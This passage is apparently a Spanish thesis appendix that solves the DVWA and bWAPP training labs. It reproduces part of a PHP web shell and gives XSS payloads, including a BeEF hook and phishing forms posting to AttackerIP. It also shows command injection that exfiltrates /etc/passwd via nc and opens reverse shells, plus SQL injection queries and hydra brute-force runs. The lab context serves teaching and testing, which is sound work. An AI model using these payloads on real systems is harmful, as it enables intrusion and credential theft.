while ( $row = mysql_f etch_arr ay ( $result , MYSQL_ASSOC ) )
print_r ( $row ) ;
mysql _free_re sult ( $result ) ;
die ;
}
?>
<pre > < form action =" <? echo $PHP_SELF ; ? >" METHOD = GET > execute
command : < input type =" text " name =" c " > < input type =" submit "
value =" go " > < hr > </ form >
< form enctype =" multipart / form - data " action =" <? php echo $PHP_SELF ;
? >" method =" post " > < input type =" hidden " name =" MAX_FILE_SIZE "
value ="1000000000" >
upload file : < input name =" file_name " type =" file " > to dir : < input
type =" text " name =" dir " >& nbsp ;& nbsp ; < input type =" submit "
name =" upload " value =" upload " > </ form >
<hr > to browse go to http :// <? echo $SERVER_NAME . $REQUEST_URI ;
? >? d =[ directory here ]
<br > for example :
http :// <? echo $SERVER_NAME . $REQUEST_URI ; ? >? d =/ etc on * nix
or http :// <? echo $SERVER_NAME . $REQUEST_URI ; ? >? d = c :/ windows on win
<hr > execute mysql query :
< form action =" <? echo $PHP_SELF ; ? >" METHOD = GET >
host : < input type =" text " name =" host " value =" localhost " > user : < input
type =" text " name =" usr " value = root > password : < input type =" text "
name =" passwd " >

database : < input type =" text " name =" db " > query : < input type =" text "
name =" mquery " > < input type =" submit " value =" execute " >
</ form >

<! - - http :// michaeldaw . org 2006 -->

que, según publica la web al finalizar la carga, se guarda en “../../hackable/uploads/php-


backdoor.php”, y a la que se puede acceder desde la siguiente URL:
http :// localhost / DVWA / hackable / uploads / php - backdoor . php

Causas

Falta de validación del fichero aportado por el usuario, del que no mira la extensión
ni el formato.

Adicionalmente, muestra el path en el que se ha cargado el fichero, facilitando al


atacante el acceso al mismo.

Impacto

El impacto es potencialmente muy alto, ya que un usuario malicioso puede colgar


su propio contenido arbitrario en el servidor, que puede tener implicaciones legales (dis-
tribución de contenido ilegal como por ejemplo pornografía infantil), uso del servidor

43
configurado débilmente para distribuir malware, compromiso del servidor mediante carga
de shells propias, etc.

No obstante, se encuentra ligeramente mitigado ya que el usuario www-data no tiene


permisos ilimitados, y cualquier código inyectado de esta forma se ejecuta con el propie-
tario del proceso Apache.

XSS reflected

Descripción y pruebas de concepto

Mediante la inyección del siguiente código en el formulario:


< script > alert ( document . cookie ) ; </ script >

Observamos que el servidor es vulnerable:

Se podría llegar a realizar el ataque mediante la inclusión de un iframe en un servidor


malicioso que llame a la siguiente URL:
http :// localhost / DVWA / vulnerabilities / xss_r /? name = < script > alert (
document . cookie ) ; </ script >

Como por ejemplo:


<! DOCTYPE html >
< html >
< head >
< title > Hello World ! </ title >
</ head >
< body >
< header >
<h1 > Hello World ! </ h1 >
<h2 > welcome </ h2 >
</ header >

44
< div id =" main " >
< iframe src =" http :// localhost / DVWA / vulnerabilities / xss_r /? name = <
script > alert ( document . cookie ) ; </ script >" height =1 px width =1 px > </
iframe >
</ div >

</ body >


</ html >

Que muestra la siguiente alerta al acceder:

Si en vez de realizar una alerta se hiciera un post con los datos de sesión contra el
propio servidor malicioso sería posible extraer la cookie de sesión.

Causas

Falta de sanitización del input del usuario, filtrando o codificando los caracteres que
pueden derivar en ataques de inyección de código (<, >, ;, /, ...).

Adicionalmente, para evitar el caso expuesto en la PoC, se debería activar el flag


httpOnly de las cookies sensibles para evitar su extracción mediante javascript.

Impacto

En el caso expuesto se valida que es posible robarle la sesión a cualquier usuario


logueado que acceda a una URL maliciosa o infectada, pudiendo impersonarlo mientras
la sesión sea válida.

45
XSS stored

Descripción y pruebas de concepto

Se observa que ambos campos del formulario son vulnerables a la inyección de XSS4 ,
que una vez almacenados en el servidor se convierten en persistentes, afectando a cualquier
visitante de la página web.

Este escenario es muy interesante para el uso del framework BeEF, que a partir de una
vulnerabilidad XSS permite inyectar código en el navegador cliente y ejecutar acciones
remotamente, facilitando la difusión e infección de tantas víctimas como sea posible.

Para realizar el ataque mediante BeEF el XSS a inyectar será:


< script src = http :/ /12 7. 0. 0.1 :3 00 0/ hook . js > </ script >

Causas

Falta de sanitización del input del usuario, filtrando o codificando correctamente los
caracteres que pueden derivar en ataques de inyección de código (<, >, ;, /, ...).

Adicionalmente, la limitación de longitud del campo “name” se encuentra delegada al


navegador, sin realizar ninguna validación adicional en el back-end al recibir la petición.

Impacto

Es posible robarle la sesión a cualquier usuario logueado que acceda a la URL vulne-
rable del propio servidor, pudiendo impersonarlo mientras el identificador de sesión sea
válido.

También es posible inyectar el framework BeEF, que permite realizar muchas acciones
en el navegador de la víctima a través de XSS.

C.3. Resolución de bWAPP

HTML Injection - Reflected (GET)

Level Low

Introducir el siguiente código en el formulario:


4
Destacar que en el primer campo, name, la longitud se encuentra limitada a 10 caracteres, aunque
solo se realiza en el navegador, de forma que modificando el formulario (p.ej.: inspeccionando el elemento)
o interceptando las peticiones se puede introducir más contenido saltándose ese límite.

46
< div style =" position : absolute ; left : 0 px ; top : 0 px ; width : 1900 px ;
height : 1300 px ; z - index : 1000; background - color : white ; padding :
1 em ;" >
Please login with valid credentials :
<br > < form name =" login " action =" http :// AttackerIP / login . htm " >
< table > < tr > < td > Username : </ td > < td >
< input type =" text "
name =" username "/ > </ td > </ tr > < tr > < td > Password : </ td > < td > < input
type =" text " name =" password "/ > </ td > </ tr > < tr > < td colspan =2
align = center > < input type =" submit "
value =" Login "/ > </ td > </ tr > </ table > </ form > </ div >

que nos redirige (mediante GET) a la siguiente URL:


http :// localhost / bWAPP / htmli_get . php ? firstname = test & lastname = %3 Cdiv +
style %3D %22 position %3A + absolute %3B + left %3A +0 px %3B + top %3A +0 px %3B +
width %3A +1900 px %3B + height %3A +1300 px %3B +z - index %3A +1000 %3 B +
background - color %3 Awhite %3B + padding %3A +1 em %3B %22 %3 E + Please + login +
with + valid + credentials %3A + %3 Cbr %3E %3 Cform + name %3D %22 login %22+
action %3D %22 http %3A %2F %2 FAttackerIP %2 Flogin . htm %22 %3 E + %3 Ctable %3E
%3 Ctr %3E %3 Ctd %3 EUsername %3A %3C %2 Ftd %3E %3 Ctd %3E + %3 Cinput + type %3D %22
text %22+ name %3D %22 username %22 %2 F %3E %3C %2 Ftd %3E %3C %2 Ftr %3E %3 Ctr %3E
%3 Ctd %3 EPassword %3A %3C %2 Ftd %3E %3 Ctd %3E %3 Cinput + type %3D %22 text %22+
name %3D %22 password %22 %2 F %3E %3C %2 Ftd %3E %3C %2 Ftr %3E %3 Ctr %3E %3 Ctd +
colspan %3D2 + align %3 Dcenter %3E %3 Cinput + type %3D %22 submit %22+ value %3D
%22 Login %22 %2 F %3E %3C %2 Ftd %3E %3C %2 Ftr %3E %3C %2 Ftable %3E %3C %2 Fform %3E
%3C %2 Fdiv %3E & form = submit

Mostrando el siguiente formulario:

Level Medium

Inyectamos el código anterior codificando los tags “<” y “>” por “ %3C” y “ %3E”
respectivamente:
%3 Cdiv style =" position : absolute ; left : 0 px ; top : 0 px ; width : 1900 px ;
height : 1300 px ; z - index : 1000; background - color : white ; padding : 1
em ;" %3 E
Please login with valid credentials :
%3 Cbr %3E %3 Cform name =" login " action =" http :// AttackerIP / login . htm " %3 E
%3 Ctable %3E %3 Ctr %3E %3 Ctd %3 EUsername : %3 C / td %3E %3 Ctd %3E
%3 Cinput type =" text " name =" username "/ %3 E %3C / td %3E %3C / tr %3E %3 Ctr %3E %3
Ctd %3 EPassword : %3 C / td %3E %3 Ctd %3E %3 Cinput type =" text " name ="
password "/ %3 E %3C / td %3E %3C / tr %3E %3 Ctr %3E %3 Ctd colspan =2 align =
center %3E %3 Cinput type =" submit " value =" Login "/ %3 E %3C / td %3E %3C / tr %3
E %3C / table %3E %3C / form %3E %3C / div %3E

Obteniendo el mismo resultado.

47
HTML Injection - Reflected (POST)

Levels Low & Medium

Introducimos el mismo “payload” en el formulario que para la inyección mediante GET


(tanto en nivel bajo como medio), con el mismo resultado.

No obstante, dado que en este caso se envía por POST, la reflexión es hacia el propio
atacante. Para poder afectar a terceros se tendría que generar peticiones POST válidas
desde una página bajo el control del atacante.

HTML Injection - Stored (Blog)

Level Low

Introducimos un “payload” equivalente al de antes en el post:


< div style =" position : absolute ; left : 0 px ; top : 0 px ; width : 1900 px ;
height : 1300 px ; z - index : 1000; background - color : white ; padding :
1 em ;" >
Please login with valid credentials in order to view this content :
<br > < form name =" login " action =" http :// AttackerIP / login . htm " >
< table > < tr > < td > Username : </ td > < td >
< input type =" text "
name =" username "/ > </ td > </ tr > < tr > < td > Password : </ td > < td > < input
type =" text " name =" password "/ > </ td > </ tr > < tr > < td colspan =2
align = center > < input type =" submit "
value =" Login "/ > </ td > </ tr > </ table > </ form > </ div >

No obstante, el resultado es correcto pero rompe la funcionalidad. Por ello se propone


eliminar la posición absoluta:
< div style =" background - color : white ; padding : 1 em ;" >
Please login with valid credentials in order to view this content :
<br > < form name =" login " action =" http :// AttackerIP / login . htm " >
< table > < tr > < td > Username : </ td > < td >
< input type =" text "
name =" username "/ > </ td > </ tr > < tr > < td > Password : </ td > < td > < input
type =" text " name =" password "/ > </ td > </ tr > < tr > < td colspan =2
align = center > < input type =" submit "
value =" Login "/ > </ td > </ tr > </ table > </ form > </ div >

De forma que el post contiene el formulario de login.

Level Medium

No se ha encontrado la forma de bypassear el uso de htmlspecialchars.

48
iFrame Injection

Level Low
http :// localhost / bWAPP / iframei . php ? ParamUrl = http :// www . microsoft . com &
ParamWidth =250& ParamHeight =250

OS Command Injection

Level Low

Introducimos el siguiente código en el campo, que ejecuta el comando esperado (DNS


lookup) y el inyectado:
; cat / etc / passwd

a trav é s del que obtemenos el contenido del fichero / etc / passwd :


root : x :0:0: root :/ root :/ bin / bash daemon : x :1:1: daemon :/ usr / sbin :/ bin / sh
bin : x :2:2: bin :/ bin :/ bin / sh sys : x :3:3: sys :/ dev :/ bin / sh sync : x
:4:65534: sync :/ bin :/ bin / sync games : x :5:60: games :/ usr / games :/ bin / sh
man : x :6:12: man :/ var / cache / man :/ bin / sh lp : x :7:7: lp :/ var / spool / lpd
:/ bin / sh mail : x :8:8: mail :/ var / mail :/ bin / sh news : x :9:9: news :/ var /
spool / news :/ bin / sh uucp : x :10:10: uucp :/ var / spool / uucp :/ bin / sh proxy
: x :13:13: proxy :/ bin :/ bin / sh www - data : x :33:33: www - data :/ var / www :/
bin / sh backup : x :34:34: backup :/ var / backups :/ bin / sh list : x :38:38:
Mailing List Manager :/ var / list :/ bin / sh irc : x :39:39: ircd :/ var / run /
ircd :/ bin / sh gnats : x :41:41: Gnats Bug - Reporting System ( admin ) :/ var
/ lib / gnats :/ bin / sh nobody : x :65534:65534: nobody :/ nonexistent :/ bin /
sh libuuid : x :100:101::/ var / lib / libuuid :/ bin / sh mysql : x :101:103:
MySQL Server , , ,:/ nonexistent :/ bin / false messagebus : x :102:106::/ var
/ run / dbus :/ bin / false colord : x :103:107: colord colour management
daemon , , ,:/ var / lib / colord :/ bin / false usbmux : x :104:46: usbmux daemon
, , ,:/ home / usbmux :/ bin / false miredo : x :105:65534::/ var / run / miredo :/
bin / false ntp : x :106:112::/ home / ntp :/ bin / false Debian - exim : x
:107:113::/ var / spool / exim4 :/ bin / false arpwatch : x :108:116: ARP
Watcher , , ,:/ var / lib / arpwatch :/ bin / sh avahi : x :109:117: Avahi mDNS
daemon , , ,:/ var / run / avahi - daemon :/ bin / false beef - xss : x :110:118::/
var / lib / beef - xss :/ bin / false dradis : x :111:120::/ var / lib / dradis :/ bin
/ false pulse : x :112:121: PulseAudio daemon , , ,:/ var / run / pulse :/ bin /
false speech - dispatcher : x :113:29: Speech Dispatcher , , ,:/ var / run /
speech - dispatcher :/ bin / sh haldaemon : x :114:123: Hardware abstraction
layer , , ,:/ var / run / hald :/ bin / false sshd : x :115:65534::/ var / run / sshd
:/ usr / sbin / nologin snmp : x :116:125::/ var / lib / snmp :/ bin / false iodine
: x :117:65534::/ var / run / iodine :/ bin / false postgres : x :118:127:
PostgreSQL administrator , , ,:/ var / lib / postgresql :/ bin / bash redsocks
: x :119:128::/ var / run / redsocks :/ bin / false stunnel4 : x :120:129::/ var /
run / stunnel4 :/ bin / false statd : x :121:65534::/ var / lib / nfs :/ bin / false
sslh : x :122:132::/ nonexistent :/ bin / false Debian - gdm : x :123:133:
Gnome Display Manager :/ var / lib / gdm3 :/ bin / false rtkit : x :124:134:
RealtimeKit , , ,:/ proc :/ bin / false saned : x :125:135::/ home / saned :/ bin /
false redis : x :126:136: redis server , , ,:/ var / lib / redis :/ bin / false

49
Level Medium

Se observa que la contactenación de comandos mediante “;” y “&&” no son viables.


No obstante, es posible utilizar otros métodos de concatenación de comandos como el
siguiente:
| cat / etc / passwd

Obteniendo el mismo resultado que en el caso anterior.

OS Command Injection - Blind

Level Low

Como no es posible obtener el feedback de la ejecución a través de la consulta web,


requerimps la ejecución de una conexión con el atacante. Para conseguirlo, ejecutamos el
siguiente código en el terminal del atacante (10.0.14.98):
nc -l -p 4444

y en la página web ejecutamos:


; nc - w3 10.0.14.98 4444 < / etc / passwd

Obteniendo en el terminal del atacante el fichero /etc/passwd.

Por otra parte, se puede abrir un listener con un terminal en el servidor web (10.0.14.33)
mediante la ejecución del siguiente comando:
; nc -l -p 4444 -c / bin / sh

Conectándose al servidor mediante el comando:


nc 10.0.14.33 4444

Siendo capaz de ejecutar comandos de servidor con los permisos del usuario que ejecuta
el servicio web (www-data)

Level Medium

De forma equivalente a la inyección reflejada, cambiando la concatenación por “|” es


posible ejecutar los comandos:
| nc - w3 10.0.14.98 4444 < / etc / passwd

| nc -l -p 4444 -c / bin / sh

50
PHP Code Injection

Level Low

Introduciendo el siguiente mensaje se puede obtener el contenido del fichero /etc/-


passwd:
http :// localhost / bWAPP / phpi . php ? message = readfile ("/ etc / passwd ")

Adicionalmente, introcuciendo la siguiente URL obtenemos el resutado de ifconfig:


http :// localhost / bWAPP / phpi . php ? message =""; echo
shell_exec ( ’/ sbin / ifconfig ’) ;

Level Medium

No se ha encontrado la forma de bypassear el uso de htmlspecialchars.

Server-Side Includes (SSI) Injection

Level Low

Podemos obtener información del sistema mediante la ejecución de los comandos como
el siguiente:
<pre > <! - -# exec cmd ="/ sbin / ifconfig " - - > </ pre >

Adicionalmente, mediante el siguiente comando abrimos un listener con linea de co-


mandos:
<! - -# exec cmd =" nc -l -p 4444 -c / bin / sh " -->

SQL Injection (GET/Search)

Level Low

Validamos que es posible inyectar SQL mediante la siguiente secuencia, que no da


error:
’ and 1=0 -- -

Buscamos por fuerza bruta el número de columnas, detectando mediante el siguiente


comando que son 7:

51
’ and 1=0 union select 1 ,2 ,3 ,4 ,5 ,6 ,7 -- -

’ and 1=0 union all select 1 , version () , database () , user () ,5 ,6 ,7 -- -

’ and 1=0 union all select 1 , column_name ,3 ,4 ,5 ,6 ,7 from


in fo rm ati on _s che ma . columns WHERE table_schema != ’ mysql ’ and
table_schema != ’ information_schema ’ and table_schema = ’ BWAPP ’
-- -

’ and 1=0 union all select 1 , table_schema , table_name ,4 ,5 ,6 ,7 FROM


in fo rm ati on _s che ma . tables WHERE table_schema != ’ mysql ’ AND
table_schema != ’ information_schema ’ and table_schema = ’ bWAPP ’
-- -

’ and 1=0 union all select 1 , LOAD_FILE ( ’/ etc / passwd ’) ,3 ,4 ,5 ,6 ,7 -- -

SQL Injection (Login Form/Hero)

Level Low

Inyectando el SQL “clásico”:


’ or ’1 ’= ’1

En los campos de login y password del formulario obtenemos:


Welcome Neo , how are you today ?

Your secret : Oh Why Didn ’ t I Took That BLACK Pill ?

Demostrando que el login ha sido válido.

SQL Injection - Stored (Blog)

Level Low

Forzando un error vemos que nuestro código se introduce antes de la siguiente sintaxis,
que cierra la query:
’,’ bee ’) ’

Validamos que la siguiente secuencia no da error:


’ and 1=0 , NULL ) -- -

La siguiente secuencia permite recuperar el fichero /etc/passwd:


’ and 1=0 , LOAD_FILE ( ’/ etc / passwd ’) ) -- -

52
Broken Authentication - CAPTCHA Bypassing

Level Low

Realizando diferentes pruebas de uso y abuso se identifica que la aplicación web vincula
el valor del CAPTCHA al usuario al cargar el iFrame “captcha_box.php”.

Por ello se consigue bypassear el CAPTCHA evitando la carga del iFrame, ya que no
se da valor a la variable a nivel de servidor.

PoC:
curl -s -b cookie -c cookie -L http :// localhost / bWAPP / login . php
-- data " login = bee & password = bug & security_level =0& form = submit " >
/ dev / null
curl -s -c cookie -b cookie
http :// localhost / bWAPP / ba_c aptcha_b ypass . php | grep -A 50 ’< div
id =" main " > ’ > / dev / null
curl -s -c cookie -b cookie
http :// localhost / bWAPP / ba_c aptcha_b ypass . php -- data
" login = bee & password = bug & captcha_user =& form = submit "| grep
’& nbsp ;& nbsp ;& nbsp ; < font color =.* login ! </ font > ’

Level Medium

En el nivel medio se valida la inicialización de la variable, por lo que no es posible


utilizar la misma técnica.

Por error en el despliegue de bWAPP no ha sido posible realizar pruebas adicionales.

Broken Authentication - Insecure Login Forms

Level Low

Viendo el código de la página web se observa que las credenciales (tonystark:I am Iron
Man) se encuentran almacenadas en el html:
<h1 > Broken Auth . - Insecure Login Forms </ h1 >

<p > Enter your credentials . </p >

< form action ="/ bWAPP / ba _ i ns e cu r e_ l o gi n _1 . php " method =" POST " >

<p > < label for =" login " > Login : </ label > < font
color =" white " > tonystark </ font > < br / >
< input type =" text " id =" login " name =" login " size ="20" / > </p >

<p > < label for =" password " > Password : </ label > < font
color =" white " > I am Iron Man </ font > < br / >

53
< input type =" password " id =" password " name =" password "
size ="20" / > </p >

< button type =" submit " name =" form "
value =" submit " > Login </ button >

</ form >

Level Medium

El nombre del usuario (brucebanner) se propone en el formulario:


<p > < label for =" name " > Name : </ label > < font
color =" white " > brucebanner </ font > < br / >
< input type =" text " id =" name " name =" name " size ="20"
value =" brucebanner " / > </p >

Respecto la contraseña, se identifica el siguiente código:


<s c r i p t l a n g u a g e =" j a v a s c r i p t ">

function unlock_secret ()
{

v a r bWAPP = " bash u p d a t e k i l l e d my s h e l l s ! "

var a = bWAPP. c h a r A t ( 0 ) ; var d = bWAPP. c h a r A t ( 3 ) ; var r = bWAPP. c h a r A t ( 1 6 ) ;


var b = bWAPP. c h a r A t ( 1 ) ; var e = bWAPP. c h a r A t ( 4 ) ; var j = bWAPP. c h a r A t ( 9 ) ;
var c = bWAPP. c h a r A t ( 2 ) ; var f = bWAPP. c h a r A t ( 5 ) ; var g = bWAPP. c h a r A t ( 4 ) ;
var j = bWAPP. c h a r A t ( 9 ) ; var h = bWAPP. c h a r A t ( 6 ) ; var l = bWAPP. c h a r A t ( 1 1 ) ;
var g = bWAPP. c h a r A t ( 4 ) ; var i = bWAPP. c h a r A t ( 7 ) ; var x = bWAPP. c h a r A t ( 4 ) ;
var l = bWAPP. c h a r A t ( 1 1 ) ; var p = bWAPP. c h a r A t ( 2 3 ) ; var m = bWAPP. c h a r A t ( 4 ) ;
var s = bWAPP. c h a r A t ( 1 7 ) ; var k = bWAPP. c h a r A t ( 1 0 ) ; var d = bWAPP. c h a r A t ( 2 3 ) ;
var t = bWAPP. c h a r A t ( 2 ) ; var n = bWAPP. c h a r A t ( 1 2 ) ; var e = bWAPP. c h a r A t ( 4 ) ;
var a = bWAPP. c h a r A t ( 1 ) ; var o = bWAPP. c h a r A t ( 1 3 ) ; var f = bWAPP. c h a r A t ( 5 ) ;
var b = bWAPP. c h a r A t ( 1 ) ; var q = bWAPP. c h a r A t ( 1 5 ) ; var h = bWAPP. c h a r A t ( 9 ) ;
var c = bWAPP. c h a r A t ( 2 ) ; var h = bWAPP. c h a r A t ( 2 ) ; var i = bWAPP. c h a r A t ( 7 ) ;
var j = bWAPP. c h a r A t ( 5 ) ; var i = bWAPP. c h a r A t ( 7 ) ; var y = bWAPP. c h a r A t ( 2 2 ) ;
var g = bWAPP. c h a r A t ( 1 ) ; var p = bWAPP. c h a r A t ( 4 ) ; var p = bWAPP. c h a r A t ( 2 8 ) ;
var l = bWAPP. c h a r A t ( 1 1 ) ; var k = bWAPP. c h a r A t ( 1 4 ) ;
var q = bWAPP. c h a r A t ( 1 2 ) ; var n = bWAPP. c h a r A t ( 1 2 ) ;
var m = bWAPP. c h a r A t ( 4 ) ; var o = bWAPP. c h a r A t ( 1 9 ) ;

v a r s e c r e t = ( d + "" + j + "" + k + "" + q + "" + x + "" + t + "" +o + "" + g + "" + h + "" +


d + "" + p ) ;

i f ( document . f o r m s [ 0 ] . p a s s p h r a s e . v a l u e == s e c r e t )
{

// U n l o c k e d
l o c a t i o n . h r e f ="/bWAPP/ b a _ i n s e c u r e _ l o g i n _ 2 . php ? s e c r e t =" + s e c r e t ;

else
{

// Locked
l o c a t i o n . h r e f ="/bWAPP/ b a _ i n s e c u r e _ l o g i n _ 2 . php ? s e c r e t =";

</ s c r i p t >

Replicandon el cálculo de la variable “secret” con el siguiente código:


<s c r i p t l a n g u a g e =" j a v a s c r i p t ">

v a r bWAPP = " bash u p d a t e k i l l e d my s h e l l s ! "

var a = bWAPP. c h a r A t ( 0 ) ; var d = bWAPP. c h a r A t ( 3 ) ; var r = bWAPP. c h a r A t ( 1 6 ) ;


var b = bWAPP. c h a r A t ( 1 ) ; var e = bWAPP. c h a r A t ( 4 ) ; var j = bWAPP. c h a r A t ( 9 ) ;
var c = bWAPP. c h a r A t ( 2 ) ; var f = bWAPP. c h a r A t ( 5 ) ; var g = bWAPP. c h a r A t ( 4 ) ;
var j = bWAPP. c h a r A t ( 9 ) ; var h = bWAPP. c h a r A t ( 6 ) ; var l = bWAPP. c h a r A t ( 1 1 ) ;
var g = bWAPP. c h a r A t ( 4 ) ; var i = bWAPP. c h a r A t ( 7 ) ; var x = bWAPP. c h a r A t ( 4 ) ;
var l = bWAPP. c h a r A t ( 1 1 ) ; var p = bWAPP. c h a r A t ( 2 3 ) ; var m = bWAPP. c h a r A t ( 4 ) ;

54
var s = bWAPP. c h a r A t ( 1 7 ) ; var k = bWAPP. c h a r A t ( 1 0 ) ; var d = bWAPP. c h a r A t ( 2 3 ) ;
var t = bWAPP. c h a r A t ( 2 ) ; var n = bWAPP. c h a r A t ( 1 2 ) ; var e = bWAPP. c h a r A t ( 4 ) ;
var a = bWAPP. c h a r A t ( 1 ) ; var o = bWAPP. c h a r A t ( 1 3 ) ; var f = bWAPP. c h a r A t ( 5 ) ;
var b = bWAPP. c h a r A t ( 1 ) ; var q = bWAPP. c h a r A t ( 1 5 ) ; var h = bWAPP. c h a r A t ( 9 ) ;
var c = bWAPP. c h a r A t ( 2 ) ; var h = bWAPP. c h a r A t ( 2 ) ; var i = bWAPP. c h a r A t ( 7 ) ;
var j = bWAPP. c h a r A t ( 5 ) ; var i = bWAPP. c h a r A t ( 7 ) ; var y = bWAPP. c h a r A t ( 2 2 ) ;
var g = bWAPP. c h a r A t ( 1 ) ; var p = bWAPP. c h a r A t ( 4 ) ; var p = bWAPP. c h a r A t ( 2 8 ) ;
var l = bWAPP. c h a r A t ( 1 1 ) ; var k = bWAPP. c h a r A t ( 1 4 ) ;
var q = bWAPP. c h a r A t ( 1 2 ) ; var n = bWAPP. c h a r A t ( 1 2 ) ;
var m = bWAPP. c h a r A t ( 4 ) ; var o = bWAPP. c h a r A t ( 1 9 ) ;

v a r s e c r e t = ( d + "" + j + "" + k + "" + q + "" + x + "" + t + "" +o + "" + g + "" + h + "" +


d + "" + p ) ;

alert ( secret ) ;

</ s c r i p t >

Se obtiene la contraseña del usuario: “hulk smash!”.

Broken Authentication - Logout Management

Level Low

Se identifica una debilidad en el cierre de sesión, que permite volver atrás y mantener
la operativa. Esto es así ya que no se cambia el ID de sesión al solciitar el cierre de sesión
ni se da de baja en el back-end.

Level Medium

Al solicitar el cierre de sesión el servidor destruye los datos de la sesión del usuario
activo mediante el comando “session_destroy()”. En el transcurso de las pruebas no se ha
identificado la forma de bypassear esta medida.

Broken Authentication - Password Attacks

Level Low

Este formulario permite el ataque mediante herramientas de bruteforcing, obteniendo


la contraseña mediante el siguiente comando:
hydra -l bee -P / usr / share / wordlists / rockyou . txt localhost http - form -
post ’/ bWAPP / ba_pwd_attacks_1 . php : login =^ USER ^& password =^ PASS ^&
form = submit : Invalid credentials !: H = Cookie : security_level =0;
PHPSESSID =9 g7um2jn4s9pdhtkntgvfn3j30 ’

55
Level Medium

Dado que hay un salt variable en cada una de las peticiones, se genera el siguiente
script que permite obtener las contraseñas partiendo del listado de usuarios (usuarios) y
contraseñas (pass):
rm - rf cookie
curl -s -b cookie -c cookie -L http :// localhost / bWAPP / login . php
-- data " login = bee & password = bug & security_level =1& form = submit " >
/ dev / null
cat usuarios | while read users ; do cat pass | while read pass ; do
salt = $ ( curl -s -c cookie -b cookie
http :// localhost / bWAPP / ba_pwd_attacks_2 . php | grep " salt "| sed
’s /.* value \=\"\(.*\) \".*/\1/ g ’)
result = $ ( curl -s -c cookie -b cookie
http :// localhost / bWAPP / ba_pwd_attacks_2 . php -- data
" login = $users & password = $pass & salt = $salt & form = submit "| grep ’< font
color =".*" >.* </ font > ’| grep -v " < td >")
if [[ " $ ( echo $result | grep Succes ) " ]]; then
echo " Encontrado $users $pass "
fi
done
done

Broken Authentication - Weak Passwords

Level Low

Se identifican credenciales triviales en el sistema mediante el uso de un diccionario


para identificar usuarios (dirbuster) y validando contraseñas nulas, iguales al usuario y
reverso del usuario:
hydra -L / usr / share / dirb / wordlists / common . txt -e nsr localhost http -
form - post ’/ bWAPP / ba_weak_pwd . php : login =^ USER ^& password =^ PASS ^&
form = submit : Invalid credentials !: H = Cookie : security_level =0;
PHPSESSID = oc6lldedpmcvf3iav26b8vqod2 ’
Hydra v8 .1 ( c ) 2014 by van Hauser / THC - Please do not use in military
or secret service organizations , or for illegal purposes .

Hydra ( http :// www . thc . org / thc - hydra ) starting at 2015 -05 -03 02:16:11
[ DATA ] max 16 tasks per 1 server , overall 64 tasks , 13782 login tries
( l :4594/ p :3) , ~13 tries per task
[ DATA ] attacking service http - post - form on port 80
[80][ http - post - form ] host : localhost login : test password : test
[ STATUS ] 12473.00 tries / min , 12473 tries in 00:01 h , 1309 todo in
00:01 h , 16 active
1 of 1 target successfully completed , 1 valid password found
Hydra ( http :// www . thc . org / thc - hydra ) finished at 2015 -05 -03 02:17:17

Alternativamente se pude autogenerar la lista de contraseñas en el propio hidra o con


herramientas adicionales como “crunch”.

56
Session Management - Administrative Portals

Level Low

Identificamos que la URL incluye la variable “admin” con valor 0 (false):


http :// localhost / bWAPP / s mg mt _ad mi n_ por ta l . php ? admin =0

Cambiando el valor a 1 (true), podemos acceder a la operativa de administración:


Cowabunga ...

You unlocked this page using an URL manipulation .

Level Medium

Identificamos que hay una cookie con la variable “admin” con valor 0 (false).

Cambiando el valor a 1 (true), podemos acceder a la operativa de administración:


Cowabunga ...

You unlocked this page using a cookie manipulation .

Session Management - Cookies (HTTPOnly)

Observamos que en el nivel bajo todas las cookies son accesibles desde HTTP y Javas-
cript sin distinción. En el nivel medio la cookie “top_security” se inicializa como “HTT-
POnly” y por lo tanto únicamente es accesible desde HTTP.

Session Management - Cookies (Secure)

Observamos que en el nivel bajo todas las cookies son accesibles desde HTTP (canal
no cifrado). En el nivel medio la cookie “top_security” se inicializa como “Secure” y por
lo tanto únicamente es accesible a través de HTTPS (canal cifrado).

Session Management - Session ID in URL

Observamos que en el nivel bajo se expone el SESSIONID, debilidad en la configuración


que debería evitarse, especialmente en conexiones no cifradas. En el nivel medio esto no
ocurre.

57
Session Management - Strong Sessions

En los diferentes niveles vemos la implementación de medidas de seguridad de cookies.


En el nivel alto hay un link a un portal seguro, accesible únicamente al acceder mediante
cookies seguras y un canal seguro, que muestra el siguiente mensaje:
Welcome Bee ,

You have a valid session and a strong session .


The top security cookie is protected over a non - SSL channel . This is
maximum security !

Secure the world . Fight crime and senseless violence .


Don ’ t let THEM take your mind and soul .
Love each other .
You have a mission ! Spread these words ...

Oh yeah ... I really love those hero movies :)

Regards

Malik

Cross-Site Scripting - Reflected (GET)

Level Low

Validamos que ambos campos del formulario son vulnerables a XSS, que se puede
validar accediendo (mediante GET) a la URL:
http :// itsecgames . com / bWAPP / xss_get . php ? firstname = %3 Cscript %3 Ealert
%281 %29 %3 B %3C %2 Fscript %3E & lastname = %3 Cscript %3 Ealert %282 %29 %3 B %3C
%2 Fscript %3E & form = submit

58
Level Medium

La prueba de concepto de nivel básico es válida para el nivel medio.

Si adicionalmente se añade la codificación de “<” y “>” por “&lt” y “&gt” a nivel de


servidor, se puede evadir mediante el uso de “ %3C” y “ %3E” respectivamente:
%3 Cscript %3 Ealert (1) ; %3 C / script %3E

Cross-Site Scripting - Reflected (POST)

Levels Low & Medium

Introducimos el mismo “payload” en el formulario que para la inyección mediante GET


(tanto en nivel bajo como medio), con el mismo resultado.

No obstante, dado que en este caso se envía por POST, la reflexión es hacia el propio
atacante. Para poder afectar a terceros se tendría que generar peticiones POST válidas
desde una página bajo el control del atacante.

Cross-Site Scripting - Reflected (JSON)

Level Low

Vemos la respuesta a la petición:


< script >

var J SO NR esp on se Str in g = ’{" movies ":[{" response ":" AAAAAA ???
Sorry , we don &#039; t have that movie :("}]} ’;

// var JSONResponse = eval ("(" + J SO NRe sp on seS tr in g + ") ") ;


var JSONResponse = JSON . parse ( J SON Re sp ons eS tr ing ) ;

document . getElementById (" result ") . innerHTML = JSONResponse .


movies [0]. response ;

</ script >

Escapamos la secuencia JSON, incorporamos nuestro javascript (sin tags ya que se


encuentra en un entorno <script>) y comentamos el resto de la línea mediante //:
"}]} ’; alert (1) ;//

59
Cross-Site Scripting - Stored (Blog)

Level Low

Introduciendo el payload “típico” de XSS:


< script > alert (1) ; </ script >

Observamos que el script se ejecuta:

Cross-Site Scripting - Stored (Change Secret)

Level Low

Introduciendo el payload “típico” de XSS:


< script > alert (1) ; </ script >

Observamos que el script se almacena en el secreto del usuario:

Adicionalmente, se valida que se puede inyectar el XSS en el secreto de otros usuarios:

60
Insecure DOR (Change Secret)

Level Low

